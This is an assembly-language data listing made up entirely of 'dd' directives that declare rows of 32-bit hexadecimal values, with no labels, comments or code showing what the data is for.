dd 1AAB0AD7h, 0B5FF12A1h, 0F6355E9Fh, 276B8413h, 0BB8024A2h
dd 78853F77h, 3BC9C0B8h, 0CE4D0C8Ah, 0C78724BFh, 47C149AFh
dd 0F1C32658h, 0F87E3FD5h, 71FC891Ah, 52908CB8h, 0C29FFA60h
dd 48C5DF8Dh, 13D1A4ECh, 64905F59h, 751AFC1Eh, 2B5EBD7Eh
dd 9AB441BDh, 0B1D4C0A8h, 0F11EC2h, 0BFD5874Dh, 793C2B91h
dd 0BD1002B0h, 69722819h, 2A97485h, 46478251h, 6FEE120Eh
dd 8C142E5Fh, 2C28D300h, 0B5E91809h, 0B80F8C29h, 0AA699C13h
dd 5F92BF00h, 7C2291E0h, 1CEA1E9Ch, 0D2BB0EE9h, 0D937F2C7h
dd 25DDC971h, 3A50C353h, 0C0900BEFh, 3B5884ACh, 0C5E27F25h
dd 0EBB71382h, 0AA3E0E8Eh, 97789EDFh, 2305AFBCh, 0FC31B7BBh
dd 0DA00AAC0h, 0BE38FFA8h, 0F97A69A9h, 7236E295h, 5B8DECA4h
dd 6A6EAE33h, 23CF344Dh, 36755160h, 1913C8F8h, 9CE8568Bh
dd 0D9E69880h, 675B661Ch, 306D39AEh, 3140290Bh, 789550h
dd 0C02B0345h, 34895B08h, 0DC6374B5h, 0DD428C18h, 82271DF6h
dd 2E5EA60h, 0EB565C9Dh, 0A6E4C410h, 0D187CBFDh, 66C62D85h
dd 121F489Eh, 0CAE204B5h, 21D98B85h, 6A096074h, 0B3FB95C4h
dd 25B0758Fh, 80F58039h, 0FFDEA504h, 0A9035Eh, 0AEE235E4h
dd 6120D2E9h, 620C5C9Fh, 0DD320ACFh, 256FA6C0h, 9F2090B7h
dd 0BD0E0760h, 0F87F4DF9h, 25B55308h, 0A5F3DF8Bh, 1D5ACDD0h
dd 0CA0D500Ah, 17D03866h, 3775AED9h, 25A110B6h, 0B31A2EEFh
dd 0E99D5653h, 0D4507Eh, 0B1EE9535h, 61C56554h, 8222E225h
dd 5745E64Fh, 6B1364E1h, 6A4E5A8Bh, 0F0970924h, 0DD31023Eh
dd 9D230129h, 2517E15h, 273BB82Ch, 0A861B507h, 4A242B33h
dd 0F068B7AAh, 2642D8E5h, 295160B1h, 39A580D8h, 0C76CE2D3h
dd 0B5C123BEh, 960332B9h, 50DE8609h, 28A7960h, 0B3CA29B0h
dd 95604576h, 25809BEAh, 9E649661h, 2D81FB0Eh, 0E5EE604Ah
dd 5EFDAD48h, 8578D0Fh, 0D13CBB70h, 8F792DE5h, 5CF0292Dh
dd 0B373EB21h, 1FA3550h, 800534A5h, 54DDE8E0h, 0A31FB8ADh
dd 7ABB8547h, 0C5FF13F3h, 272080ECh, 3BDF99Dh, 52C870AAh
dd 0B5C58CCDh, 97745601h, 0F33D422Ch, 282AC0F3h, 67B6249Dh
dd 0CD2E02D1h, 1557AFB7h, 0D1F24136h, 97B035C5h, 22BAF5A2h
dd 0CF7781DCh, 0E137C00Ah, 46796EAEh, 0C7BEFEBDh, 309981Dh
dd 1C427DBDh, 0F81973DDh, 0B51A7EC5h, 40D35396h, 97EA507Ah
dd 0CE6D26BAh, 0AB1FEB60h, 4C53FA19h, 0EE5B1C6Eh, 95BD6045h
dd 3B753DAEh, 0B44935BCh, 0B5037DBCh, 0C0BB7ED3h, 9F8C8CE1h
dd 14BA00A2h, 0B789D0FDh, 9727871Fh, 55A67429h, 53D56900h
dd 268C8F49h, 0AEA0AB1h, 0DE62C6DBh, 4E0A6000h, 5A37651Eh
dd 120593ACh, 2E06B129h, 3821923Dh, 0E9A4D03Bh, 8F97F23Eh
dd 0D7916B6Ah, 0CA2B36B5h, 5765779Ch, 44819599h, 257BE83Ch
dd 496376B3h, 8ADAE1DFh, 0F85C213Fh, 268C7E6Ah, 0DF5B064Eh
dd 1A611F01h, 0B414669Dh, 0B8EB4064h, 7700414Ch, 482E607Fh
dd 1CA67D2Ch, 0EF898E8Dh, 9E942C55h, 0EF107194h, 5DC5725Ah
dd 7420BA53h, 75F3EB7h, 0B5B9AFCh, 11DD6950h, 5D100857h
dd 3C055C47h, 7AD82DAFh, 1DE36F40h, 15DD7Eh, 57905B35h
dd 53B13BBFh, 0E05F5427h, 0FB23C790h, 956D8920h, 4DA44B7Ch
dd 0C5EB15DEh, 8711A4D7h, 0C9125F03h, 899D81B9h, 5779100Dh
dd 40C2CD69h, 8C0FFE55h, 202E0A45h, 0D3DA3FF2h, 0EE9C9525h
dd 61359F5Dh, 0D1FFDC04h, 276184C1h, 89D0E37Ah, 0A89A7534h
dd 24AD7C4h, 503522AFh, 4A971BC6h, 76E4406Ch, 743500AEh
dd 173C648Ch, 0A1160577h, 49FBE90Bh, 117B153Fh, 0E76625BFh
dd 109E0806h, 0D19D3102h, 0D0D67B2Ah, 0BE598459h, 686016E1h
dd 1DACDBADh, 49D0038Ch, 0E690A55Eh, 86DD60CFh, 0F0981B7h
dd 0FD50F9BFh, 72BBF698h, 39899013h, 0FA892DB8h, 65FB6DD5h
dd 6B6C2018h, 3D24BFBBh, 0F227E1AEh, 0DF569F81h, 1283AED6h
dd 0E65E858h, 0F2121172h, 1DAC84Ah, 0A777ADBFh, 0A5A3600Dh
dd 0E85E79E9h, 8CA601BAh, 7195463Eh, 2029C5C8h, 94970414h
dd 8514E11Eh, 0E7A2EA8Dh, 309B08Eh, 0E609A979h, 183DC170h
dd 9C71E401h, 592DF910h, 7ED491D4h, 0B64AFB78h, 82055CB4h
dd 2AAD0160h, 0CB7A5CB7h, 60616AD5h, 4BC7800Ch, 0FCFE81CCh
dd 0F4012EF8h, 0FC8FABBh, 207B53C5h, 0C003E793h, 21A6D900h
dd 4731F214h, 96294CE0h, 0BFC82B00h, 59A79F99h, 0EED18B32h
dd 0F7802003h, 7B50E9F2h, 579B8D7Fh, 4C1CCBA6h, 951CDA6Fh
dd 27AAFF88h, 124B32CBh, 2EED6DC1h, 22F3F32Ah, 43BB3B10h
dd 0E9985EBFh, 9D2B1546h, 92843D4Eh, 0F7C39DEBh, 292B72D4h
dd 7925F75Bh, 80240113h, 0C0D18789h, 0F1025DEDh, 499EACF2h
dd 49044231h, 5B315B19h, 6B96704h, 0F8E7982h, 0E041EDDDh
dd 3188BA2Eh, 8560929Dh, 0CF95710Ch, 0CA06FE7h, 4F04EF7Fh
dd 6784F0BDh, 127DA8C1h, 24CA76Bh, 0B9E1CB80h, 31BAA075h
dd 0A429A18Dh, 82FC4FA3h, 0E70E118Ch, 41840160h, 0B8669FD0h
dd 83EF5F10h, 0BBFFBF3h, 56D80CF3h, 888A9D28h, 4B6C2840h
dd 8033D813h, 5E17D725h, 3555DABCh, 714309D8h, 5F72015Bh
dd 9620EF73h, 0EC053125h, 0C782B548h, 0EAC2E251h, 0B8C43E09h
dd 0F1FE9Fh, 6B6AAABBh, 0DF02811Dh, 457DED36h, 5A737F5Fh
dd 4A6436F8h, 0DAFCC20Eh, 91FCB5D5h, 0EAF28C14h, 8100FB49h
dd 7A7EDCCBh, 58CA764Bh, 0DFDF30D3h, 1A0907FAh, 809FA0C5h
dd 0F945A70Fh, 1E40285h, 9505B3B6h, 30DE04F5h, 0A2E225BCh
dd 0C1F15729h, 1BCCA000h, 0DC2E6Ch, 1021CA87h, 0BA936933h
dd 0FB1F3B0Ch, 91205401h, 259D0DEFh, 0A7807F0Fh, 483282B7h
dd 0EA926931h, 278197DBh, 20FEB642h, 0CF25DF02h, 59BD722h
dd 0A5C01617h, 0C10C71EAh, 0CDF32A0Dh, 203FEE5Ah, 9F6C9A00h
dd 0C88E2773h, 0F5D4DF05h, 76F4890Fh, 4DB72751h, 0C9095B5Ch
dd 0DF9C5729h, 7AAEDD5Bh, 0F2480C81h, 18F7E6DDh, 6EF95A6Ch
dd 0C795134Dh, 6FC11A04h, 20F5FD60h, 0DF92FB9Eh, 758827F2h
dd 9C44BF9Eh, 9BD5BB1h, 0A5D7F0BDh, 0A1C1CF09h, 2EA2D7AFh
dd 25EDD98Ch, 291F79E0h, 26F009AFh, 0C45D1914h, 77C70466h
dd 0BCB01335h, 0BCEF4912h, 0BE1E5A2Dh, 0C0973525h, 91177999h
dd 0D7205F1Ah, 0BAEB4A7h
dd 79BC2D8Bh, 9116902h, 91153757h, 3FF7801Ah, 2739F5CBh
dd 24F5F203h, 4CB135D4h, 0D032DA6Ah, 0F9BEC131h, 28D4A988h
dd 0BB50027Ch, 37E91C1Eh, 0DBA06C50h, 9B775B44h, 0DEA75C9Dh
dd 4A37550Fh, 0BC85E123h, 0C82FC691h, 1F03CF18h, 4969592Fh
dd 0A8688835h, 0D09201A1h, 5FD98B53h, 578A8281h, 732F8C62h
dd 0E3F8705Fh, 8929739Dh, 0BA5719CDh, 0A3466Eh, 6037BBA3h
dd 9F78A576h, 473E6F00h, 0AAD27B67h, 3F40049Bh, 0E153E99Ah
dd 808E2CE3h, 0C6C8CF36h, 8E2F02BEh, 0E204BF66h, 0A65871DDh
dd 0F36425ECh, 0DC66F695h, 0D1327A00h, 0B73C4C85h, 0F96E955Fh
dd 4A31A121h, 0A9572720h, 3FED7D08h, 5845E4C0h, 0A8EDB573h
dd 34601A64h, 640083ECh, 2322D845h, 9702299Dh, 3E7BB832h
dd 171A50h, 0B032B335h, 5660E938h, 68DD8FA2h, 24525E40h
dd 2796159h, 2409A640h, 4D270954h, 6E77CB04h, 8F0F272Ah
dd 0BC60D4A5h, 0A188D82Eh, 0FA61811Bh, 997DC986h, 97F18102h
dd 0D5638476h, 64AFFB59h, 0E5769F54h, 0F0716463h, 5F0F2E23h
dd 0FA70EE8Ch, 79019016h, 2FC702AAh, 649A5791h, 28F1DB5Dh
dd 0D192017h, 0FA685B00h, 8AC63D1Dh, 0BC092FEh, 39E1E605h
dd 1B895A37h, 5BE25558h, 60FEEFDFh, 658F98B0h, 0C6EAAE05h
dd 33C1F448h, 0A67E29F1h, 1A5B072Dh, 7FB0FF31h, 25141B54h
dd 4FFE273Ch, 0C9D38040h, 40189490h, 261BDE69h, 4F431D02h
dd 0C9571041h, 4A685F93h, 1256BB05h, 16EAA90h, 0D611EE03h
dd 0E40BD03Fh, 7412B9BDh, 1A46DE8Ah, 8D83EC39h, 0BEBFA67Fh
dd 0FEFBB42Dh, 490DE06Ah, 614C3927h, 4E3D3948h, 4F6A7AAFh
dd 56D04160h, 0A5EF0080h, 8D01F95Bh, 0C7950EB5h, 0F74512D6h
dd 3B11B087h, 1264F8CCh, 0ABD87714h, 0E000325h, 0DEDAA05Ah
dd 0FFDC0586h, 0A091A8CCh, 0A52DC710h, 294715Fh, 3271BD23h
dd 181D5937h, 6AED0367h, 0B4AC1034h, 6E9619F1h, 960E631h
dd 81028460h, 1D207E61h, 2999E7Ch, 0BBFAEB43h, 795D3D8Ch
dd 6A8D9C78h, 0F07C9DA0h, 972E8550h, 4F487D4h, 72DE6E36h
dd 0F1E6A057h, 575FB02Dh, 8B08A01Eh, 5308B19Dh, 2EAEF1C5h
dd 5FF84C72h, 3876FD90h, 0FC2CF1FDh, 9600E20Dh, 0ACBC2AA2h
dd 27436640h, 0FA5EB54Eh, 0DDFAE9CEh, 9DBBA730h, 2AAEAF51h
dd 0EAA917FFh, 61603131h, 963EFE79h, 2F26819Ch, 6D000953h
dd 3847B9EEh, 691400B6h, 7DE3717Eh, 414C9603h, 3280C0FEh
dd 0F014CFh, 75DEFB95h, 5B7D2A0Dh, 27216EB5h, 8A743381h
dd 0D41A565Ah, 427D7013h, 5155A04h, 0FDF6500Bh, 0DAEE5BE4h
dd 0EFB6D758h, 616B3E01h, 7C6AB748h, 380D8023h, 4D4BF5Ch
dd 0F855A615h, 0D061BC5Fh, 0F71913BFh, 0C029DFABh, 152E5705h
dd 78EF7478h, 919F48DDh, 20B9851Ch, 7D8D891Eh, 123A776Dh
dd 372D555Ch, 0C9B204CCh, 81CCC2B9h, 94970D5h, 28D59D09h
dd 0D2E95649h, 7CA24E77h, 2AD92529h, 54A539E5h, 6AE3D4E1h
dd 3026EC8h, 7665A709h, 50405F90h, 9249BCB3h, 0DF808233h
dd 2135FF55h, 16801D91h, 280A42F3h, 8FCA7D05h, 0B893D907h
dd 0CBC5D522h, 0C1C79BAFh, 11EB8075h, 64265B49h, 0A9710B27h
dd 0F8B2602Dh, 39739510h, 37181759h, 0CB707A2Eh, 2DD2D427h
dd 64C52A59h, 9EECF1A9h, 9D29C005h, 60011905h, 96DFE9C7h
dd 0C1699E40h, 5B73C50h, 0D4BCC849h, 0CB253D12h, 2A1E20AFh
dd 530182F5h, 967DDCCCh, 6C894D4Bh, 41B898E6h, 0D19DB70Fh
dd 0D60E4AEAh, 4255DCBDh, 5422AFAh, 36BC8FF5h, 1ABC2DBDh
dd 83760B8Ch, 95DFDB6h, 13B5D449h, 4BB1ECC7h, 5E61FE09h
dd 0D78ED620h, 0F8396D13h, 7D96E430h, 0E8A00018h, 298EF69Dh
dd 624BF988h, 6F35FB8Ah, 8D9BBE30h, 94BFC0DDh, 67B5A9B2h
dd 0A846792Ch, 0D548431Ah, 0AC968494h, 9D1604D4h, 0E9C63DB3h
dd 4B26E869h, 4CD98B47h, 0E9ACC002h, 3AB1250h, 5B0B60C2h
dd 0A5D21EB7h, 9584E35Ch, 0BE651621h, 0B25BEB6Ah, 57F58972h
dd 0EB00FFC4h, 0E784F04h, 0B4C5E905h, 0C2D4013Fh, 0C8BF688Bh
dd 6D009A59h, 0D730231Eh, 63F0CFh, 9C477E82h, 0C5DF3E25h
dd 8C79FA00h, 7CA94A77h, 0C61D0028h, 72E1DC29h, 0CB006389h
dd 0C58402BFh, 30DB4130h, 5F55D5DEh, 1DEC198Dh, 0E2C39407h
dd 0A0EEA498h, 7D2C90F4h, 0DB180727h, 50ECD92Ah, 0E56964B1h
dd 0D0E13412h, 0FF0E1200h, 187D8875h, 495632BAh, 8D03E1D9h
dd 0AC99EA63h, 814EE0B7h, 8BFF3077h, 2E261C23h, 2D0F5A60h
dd 3B10820Eh, 0AF03683Ah, 1885574Bh, 625FA880h, 46BA9E0Eh
dd 0F77080F2h, 370E16h, 77139B25h, 0F83C6BF9h, 0EC648200h
dd 872FE43Dh, 4419C0C3h, 0C7B61A7Eh, 1680BF3Ch, 0BF00344Dh
dd 1F5C0D4h, 0A8C803CDh, 6B1F971Dh, 86FC350Fh, 4BD521A2h
dd 1780A723h, 15E2DF26h, 0A102032Dh, 9EA9FF24h, 56518345h
dd 0F2B7D37h, 467B806Dh, 0EB0690D5h, 21B1D559h, 4CC360Ch
dd 7C70F40h, 42EB55F3h, 6F32A1D5h, 0FD21249Eh, 0CA071014h
dd 18D94496h, 65592D00h, 30AFBD01h, 8AD60032h, 2FD933B2h
dd 0C85025A7h, 637BE1A8h, 89506D28h, 0F8DCEB00h, 0D359544Eh
dd 2944D941h, 538DC2Eh, 4C582101h, 0C465D771h, 0ED32D8C7h
dd 2410B501h, 75014850h, 0AAA34D81h, 3AFDB55Bh, 0A01F47D8h
dd 567D6CFh, 0CA3B2110h, 0E5C620BFh, 0E13D0CDEh, 62CB0092h
dd 7F53271Eh, 65ED001Bh, 43803F2Dh, 0F2999CAh, 28A898C2h
dd 0ABA24C07h, 19FB65Ch, 0AAF24BA5h, 679A4DCh, 440E421h
dd 8B02C627h, 32B553B7h, 6EEB80D5h, 7333BD96h, 288064C2h
dd 0B499201Dh, 76A7036Ch, 0B0D41C21h, 371D39h, 8A262A34h
dd 0E82789h, 24F966F4h, 4931B03Bh, 91E95000h, 0DD8C84A2h
dd 156A00CAh, 7857A128h, 5C00B094h, 0F9F40EE8h, 350810h
dd 4E3DA22Eh, 0A68C5E7Ah, 84F845EAh, 0C26C4000h, 0BF033E4Bh
dd 78C324CEh, 887F18B7h, 0CF022317h, 0D3D2C67Bh, 2D06239h
dd 209B29C7h, 0D6DC1C43h, 0FAD9F000h, 0E196CF08h, 9E752Eh
dd 0DE3D23CDh, 2F266EDAh, 33675B28h, 533A8E00h, 0D6870B46h
dd 9F000CDh, 147CC0FFh, 0F3008F1Eh, 0E70C9993h, 48B1A29Dh
dd 8D000954h, 1A6AC6DCh, 355451D5h, 0C6D2BA97h, 8B291670h
dd 5786127Ah, 456400F3h, 17D7B33Bh, 625832C0h, 0C9633DC4h
dd 2A13DBC7h, 172E72A8h, 1803A348h, 6465E3E7h, 0F0761Eh
dd 0B12E3C0Bh, 0A8717773h, 31DF0C00h, 119CC4D9h, 41A008Bh
dd 6B83493Dh, 3CC9191Fh, 98150090h, 0FA506FB5h, 0D7DE0E75h
dd 0AF8C16FAh, 0E6032E61h, 67B21BEFh, 0D054B06Ah, 3B1DC0B4h
dd 0AE3F79C7h, 6E24DC01h, 0F084A55Fh, 20ADD892h, 0D3DE4B8Ch
dd 0A30AFE00h, 6A977B56h, 769F002Eh, 91CD162Bh, 0EA02700Bh
dd 9EFC7742h, 585360BDh, 22A600CEh, 0A53A60C0h, 5F3AB35Dh
dd 4BA880EEh, 887C495Ah, 232A6058h, 23C8C51Fh, 78FBD603h
dd 0CCDA7A8Fh, 45C906D0h, 0E89001h, 26AAA7F0h, 25AF3E78h
dd 9EA3F801h, 0D538D62Ah, 39144A80h, 63921EC5h, 5D07FEECh
dd 9D204F8Dh, 0A3E76B30h, 729B0385h, 5F2C35A2h, 0B900E99Eh
dd 36211EBDh, 4B77B3h, 207C40EEh, 3C5DD11Bh, 0DCDA4260h
dd 9AEDA52h, 213A6192h, 7FD04880h, 3B001F2Ah, 359DE657h
dd 486DD1ECh, 0C10F8F29h, 274299B4h, 2140ADF6h, 0CF003EE8h
dd 523B8FBAh, 26860A47h, 14D4C4D7h, 7D00F714h, 9F048183h
dd 0AD01BF8Ah, 0E8063B40h
dd 0BB24FD0Fh, 0E30D1841h, 2C367C79h, 6EB4F94Bh, 0C6F0207h
dd 5541E577h, 0E0DAF4A2h, 0A24C036Ch, 5625023Dh, 0C03DED16h
dd 7EBF585Ah, 0D23603B7h, 7BB0E408h, 0D82B3D00h, 31152074h
dd 34383F17h, 441FD435h, 0FD21D0BDh, 0CE3F0CB1h, 4C7DCC6h
dd 0D6F3329h, 2164C076h, 0BD3F9F05h, 0AFFF84AEh, 0FAC0B7B5h
dd 3EC7EC2h, 2CDAF901h, 7AA8D421h, 4D00788Dh, 58EE209Fh
dd 0E29C45A6h, 2441B072h, 381A9409h, 2CD5D000h, 2975EEDBh
dd 22C85300h, 70B7FB8Ah, 0F8743944h, 0F77103Fh, 4FA39730h
dd 340112C0h, 0DF00D540h, 7F0498CEh, 0F6224EEDh, 0F6C31FD4h
dd 0C6310F02h, 610B25A0h, 141EBCCDh, 3FC04E60h, 184D39ADh
dd 0C22E0640h, 0F1C68F8h, 0E7749300h, 0DB61C5BDh, 0BB4400B8h
dd 0B331E4A3h, 0F613EA9Ah, 900976Dh, 9582764Bh, 0EDA31EC7h
dd 0DD3100DAh, 0FC116B33h, 0C5F248E5h, 0B5078128h, 8021463Ch
dd 83A27CA3h, 59425B34h, 0C0600A7Fh, 84B20879h, 85BD39h
dd 0AF1760C9h, 75B45Ah, 0FC523705h, 0E5D9AD81h, 27D6DCE9h
dd 57BAD476h, 3A640810h, 0F0051275h, 164C0050h, 0E46D82A2h
dd 69397900h, 384DB233h, 92D6780Dh, 66BC0073h, 4A4EEB5Fh
dd 412652BBh, 0CA003374h, 45A526A2h, 51A90C35h, 7A0FF591h
dd 0D03E6E0h, 0D84C97E0h, 231900ACh, 0D4AEF004h, 41F4C83Eh
dd 26996D12h, 844E4590h, 0D4DE009Ch, 57A009FDh, 2700967Ah
dd 0AB12E6D1h, 69B6F52h, 63D7EE32h, 20199BAh, 8871C5FCh
dd 0DD84079h, 0E43DB0FAh, 0E2890652h, 6304C281h, 4EA833Bh
dd 5C241487h, 37689FE0h, 8D1E2FF2h, 1F63E018h, 0F0C11CFh
dd 16972251h, 0D36310h, 4C48312h, 88C18149h, 48DC5D1Dh
dd 6B14F180h, 6895FFCh, 0FD6859CAh, 2471491Ch, 452015BEh
dd 0EC685978h, 8F833D0Eh, 64FF0841h, 22C42096h, 8957018Bh
dd 44C7F1E7h, 8706210Ch, 0E9D6803Ch, 0FFFB5A6Eh, 75CC011Ah
dd 0B80FA743h, 610FC49h, 0EC5033Fh, 0BC92E0h, 0A9983717h
dd 0CFB10009h, 6FC31A80h, 700712FEh, 385244D2h, 297B5BD0h
dd 6DC403C8h, 20CC1602h, 652D4ED8h, 3CE68CEAh, 0B700B97Ah
dd 0E035F14Ch, 17A163Eh, 1AA10A8Ah, 0DDF647C4h, 87F5EA79h
dd 27005536h, 397C69EBh, 0CC5AD245h, 0BB176612h, 88AF7F1Dh
dd 0E81CB1E8h, 44403174h, 0FB370CBFh, 0F6D90230h, 905071E2h
dd 73DC0176h, 29D4BDB8h, 0E99340DEh, 0A76F2D41h, 30D1652h
dd 0C0889EBAh, 2798D8EBh, 0D12B059Dh, 0F4BD317Ch, 845B0F21h
dd 0A2414EB6h, 801027ECh, 232DF781h, 383E6332h, 50408990h
dd 7EF8BF7Fh, 44F767Ah, 54F0B4B6h, 680042D9h, 86C80F5Ch
dd 27099816h, 0F644D19Dh, 4BCB8017h, 0EB4A5DA2h, 2A611CCh
dd 66D2FF42h, 0A7D2B64Dh, 11C6902Fh, 28C026B8h, 99B70BB3h
dd 30F7D9BAh, 0B98B0FC7h, 819E3E65h, 16615CCFh, 0B220B616h
dd 1C103018h, 6F880F0Ah, 6109F89h, 1C56BD72h, 1AECFF93h
dd 9CF5FD25h, 537F65B8h, 68A1AC60h, 0E200CF45h, 6A6197EBh
dd 0DC8FB602h, 34EB6517h, 0B61649A8h, 0A735B8BAh, 121D6187h
dd 0B1EC5FBh, 11A29093h, 0EA52AA4Eh, 23DD6BEFh, 562C0015h
dd 0C0F5D5BBh, 0CF075975h, 0E963E567h, 641CF7EBh, 4B581948h
dd 0C5BCB5B9h, 0DA927BDh, 0E776D6F9h, 0AA716531h, 0F900BFF2h
dd 4402BB50h, 7CF54BD2h, 57788076h, 32C32Bh, 0D42942A0h
dd 525CDD6Fh, 0AC372704h, 73EB79ADh, 1FD29591h, 0EB810216h
dd 75D5EEDFh, 51045BD7h, 5323617h, 7D573ABDh, 2D63A2EEh
dd 7540406Ah, 0B5BA832Eh, 16225455h, 221EB6F5h, 40C39D09h
dd 0FEB08B2Dh, 0B1B90B7h, 0D05170E6h, 1E409D43h, 0B790D781h
dd 6B299D2Dh, 0BD20E417h, 0D4950809h, 963853D8h, 35FECF15h
dd 0BD30FE09h, 778E1Ch, 0E4293222h, 1C18BB5h, 16BEBD4Fh
dd 8FB1F88Ch, 2BC1904Dh, 0F5F88AC8h, 0E9DCD0D1h, 95F9C65h
dd 0D0BCF413h, 6A818D8Dh, 47550903h, 19502F49h, 2E183209h
dd 85014E53h, 3693A573h, 126B9FBEh, 76F21Bh, 0ACCBB840h
dd 0F295E1h, 0F0116048h, 5EA9CDE8h, 0E4C3850Dh, 88A73677h
dd 0FBDF5DE2h, 0B35F2D50h, 0D18C11B6h, 539220Ah, 29A597BBh
dd 5A38B85Dh, 4A8A368Ch, 372EBFEh, 1A627F29h, 0A22F1475h
dd 507D004Eh, 69EDBD0Bh, 4C5D280Dh, 9EEE2003h, 9557190h
dd 9CB96FA2h, 0B00509BCh, 0C5AA3CE9h, 0DC6FC55Eh, 74F65A4Dh
dd 0BDF601D4h, 0AAEEEC51h, 7A0C73AFh, 0FCFB8300h, 44C48616h
dd 0C0640EA0h, 249ED430h, 48B909F9h, 0B1D6442Eh, 87DC6F31h
dd 2F2941FDh, 97B820A9h, 7F0F690Eh, 0FF0B4288h, 95B64056h
dd 2B5F8031h, 79DBC05Bh, 378F7A83h, 0D22B52F8h, 67C8B72Dh
dd 0D98B8B45h, 0A17017D3h, 2FD54D54h, 50A01B20h, 569717B9h
dd 260C60BDh, 71483D08h, 6C02D38Fh, 0DF5FD459h, 0A9C620B8h
dd 0D92A410Fh, 880DE4C8h, 82549FEAh, 0F7899509h, 60893753h
dd 2B10F503h, 0BAB561FCh, 0D4597437h, 0B6B0101Eh, 0B1E4F581h
dd 0E23E6CF2h, 8C17EC2Ch, 0E3A9680Bh, 2D9C82B5h, 0E7F37529h
dd 1D556E78h, 6D5AA921h, 4E0038E4h, 0F4FF140Ch, 456C999h
dd 31297950h, 0F3C8AAACh, 0D8C20073h, 0C9469A69h, 0B4006FF5h
dd 0FAACEE16h, 534952D6h, 2700FA5Fh, 0C024B893h, 800A1F0h
dd 0E87602Eh, 0B7CBA3Ah, 79723574h, 4A459C59h, 4FB7BFAh
dd 972FFD8Dh, 85A9D8FBh, 8C6E2E41h, 9D172B3Fh, 9DBA1871h
dd 34820C5h, 7320E189h, 59D69769h, 65179971h, 0CB34E886h
dd 2134F7FAh, 14B5DC92h, 4582F1Dh, 9BD0EF5Bh, 45095E9h
dd 0E9ADD84Fh, 0E055F64Ah, 75E091CEh, 91A0293h, 6BB3D0AFh
dd 3A2B0CD6h, 0B1F42C79h, 4F712592h, 201E1h, 0B8F28B60h
dd 81B573C0h, 144B6B61h, 744FDDB4h, 8B33CA40h, 32D49570h
dd 1FADBD04h, 8505A2AEh, 0F6AA2729h, 0E1B45A22h, 108BB5ACh
dd 40C56F77h, 0E073CAE9h, 57A2A517h, 0DF902A30h, 0A4A002Ch
dd 5A78EAA0h, 22938A0Fh, 0D9609089h, 4B991ED1h, 3C80DF31h
dd 0CF0F3969h, 712F0B27h, 305992AFh, 601D85EAh, 83AE9C1Ch
dd 0D2925880h, 9FEFE4BBh, 5A4F26C0h, 4A7D8BDh, 53F8A983h
dd 0E040E690h, 5AD4FDFh, 0AECF6CAAh, 0DD20EFACh, 7D86438h
dd 52AB022Bh, 64F2C68Ch, 0D6BF0F27h, 3FB40FF2h, 0F11BE0D2h
dd 0EAA35297h, 54DF254Fh, 0F572257Bh, 0DEA75AFBh, 32B9E231h
dd 0AC9453DFh, 67714017h, 0D200EC75h, 0A6FE6645h, 1303BD08h
dd 0ACB4DA56h, 1E00AA72h, 0A485B9CCh, 635A3BAEh, 0C9736CACh
dd 7D2BD587h, 7570B073h, 2FF44938h, 8520BED2h, 7ECAA2h
dd 7B0C436Ch, 152A55C1h, 665FF52Dh, 0B59181AEh, 2E5151F2h
dd 0B5752557h, 53312502h, 3DC420A2h, 0C5FFBB05h, 0B9AC0E2Dh
dd 0BFD453CBh, 5F241610h, 45AD3854h, 2691B575h, 36DDE00Ch
dd 661FE190h, 8992B3BBh, 1B76FBBh, 7C1CAF05h, 4EC46FF6h
dd 60480B29h, 485D8501h, 40C9B5F3h, 0D6BF6102h, 0ACDBC5AEh
dd 29DB4BCBh, 0A8CA1C81h, 0D94A800Fh, 70BE6096h, 1D9103C9h
dd 880CFCBAh, 5A50763Fh, 908234DBh, 0FB8B01B9h, 459DA952h
dd 1E115068h, 2E684600h, 0F8EA379h, 27119989h, 0EE8A4530h
dd 0D11D0299h, 5C717BC9h, 67F3407Bh, 0E20B0997h, 0D7858D3Ah
dd 2362CF4Fh, 359D702h, 63CAF900h, 0ED8A601Eh, 0AB86D4B5h
dd 6528F6C2h, 31702F17h, 0BD612140h, 45AD0179h, 152EB10Ch
dd 0EA386A2Ah, 0CA4FBF5Bh
dd 408C9060h, 0C9280206h, 10E9D0D7h, 453C5220h, 0F1CD0020h
dd 0A03EDEC2h, 0F509C71Eh, 0C469D01Dh, 18CA12Bh, 37C6EEh
dd 0D20927C4h, 46747780h, 0ADF2F339h, 91B155D1h, 27B82B5Fh
dd 3FBD96EBh, 5EA11857h, 68D343Fh, 0C9B171B7h, 238725F6h
dd 0F7CA259Dh, 0DEFF8B7Ah, 0A113F4FFh, 0DBB34948h, 978B301h
dd 3A0BBD85h, 0A65E20CBh, 63DBA05Dh, 0BC7B12F9h, 6271FE8Fh
dd 9C7A202Dh, 0EF5FB34Eh, 25D4DAADh, 481440DFh, 0E3DEC142h
dd 271E8000h, 0B966D633h, 5A06178Dh, 5BCDB050h, 3AB66176h
dd 3612574Bh, 4041674Fh, 0C83B682Eh, 0CB006951h, 0CC179BEFh
dd 708C0h, 2415178h, 297E70D9h, 95DD44B5h, 0DE95DFD0h
dd 6C27F671h, 0CEBBD4B2h, 0DAFD0071h, 4E98B989h, 517B0AFCh
dd 16842362h, 0BB7D02D8h, 7377ED4Dh, 2384F80Eh, 0DE3B9B01h
dd 319EA435h, 68965C9Ch, 429B5B9h, 0E0EAED7Fh, 0D151686Dh
dd 20C92A5Ah, 0B96EB97Eh, 0B0ACC02Eh, 5099D71h, 7540BD5Fh
dd 93E42A6Fh, 0A8D520BEh, 0DE00181Bh, 8ACBAEF4h, 0B520BA96h
dd 0E6D73E89h, 0A1BD1615h, 338DFE15h, 0C018F83Fh, 0BD23901Ah
dd 1825E711h, 2733AC2Bh, 0B975BB7h, 38776CB3h, 40BDF3B6h
dd 9D13BB13h, 65BFAB6Dh, 2AE4C856h, 391E3A0Eh, 60A28E66h
dd 3790FC5Dh, 6B5B5E9Fh, 161423C6h, 95F60E1Eh, 0BB500110h
dd 7F79D49Ch, 0E9EEAD6Fh, 0CE81C729h, 7F7EA68Ch, 9FB9C480h
dd 0BA61038Eh, 697135DDh, 0D019ADB5h, 0BB8FC32h, 5738C6DAh
dd 0FD7DC275h, 5425716Dh, 8C12DC7Ah, 730662Ah, 626FD3h
dd 1BFD2161h, 0D7809B1Fh, 965B3E09h, 0EFB30752h, 0E69008EBh
dd 22C4F56Bh, 13985F97h, 8601BCBBh, 965F3692h, 0CA3AF98Bh
dd 0D4E4A028h, 275AB0B8h, 255B2B39h, 0E1181979h, 9E4D5E09h
dd 6935DCF8h, 0F5DA9DDCh, 6BD98739h, 1823076Bh, 450CDE2Dh
dd 0A2F9A8F5h, 0D381206Eh, 312D6433h, 64D54D63h, 385B6019h
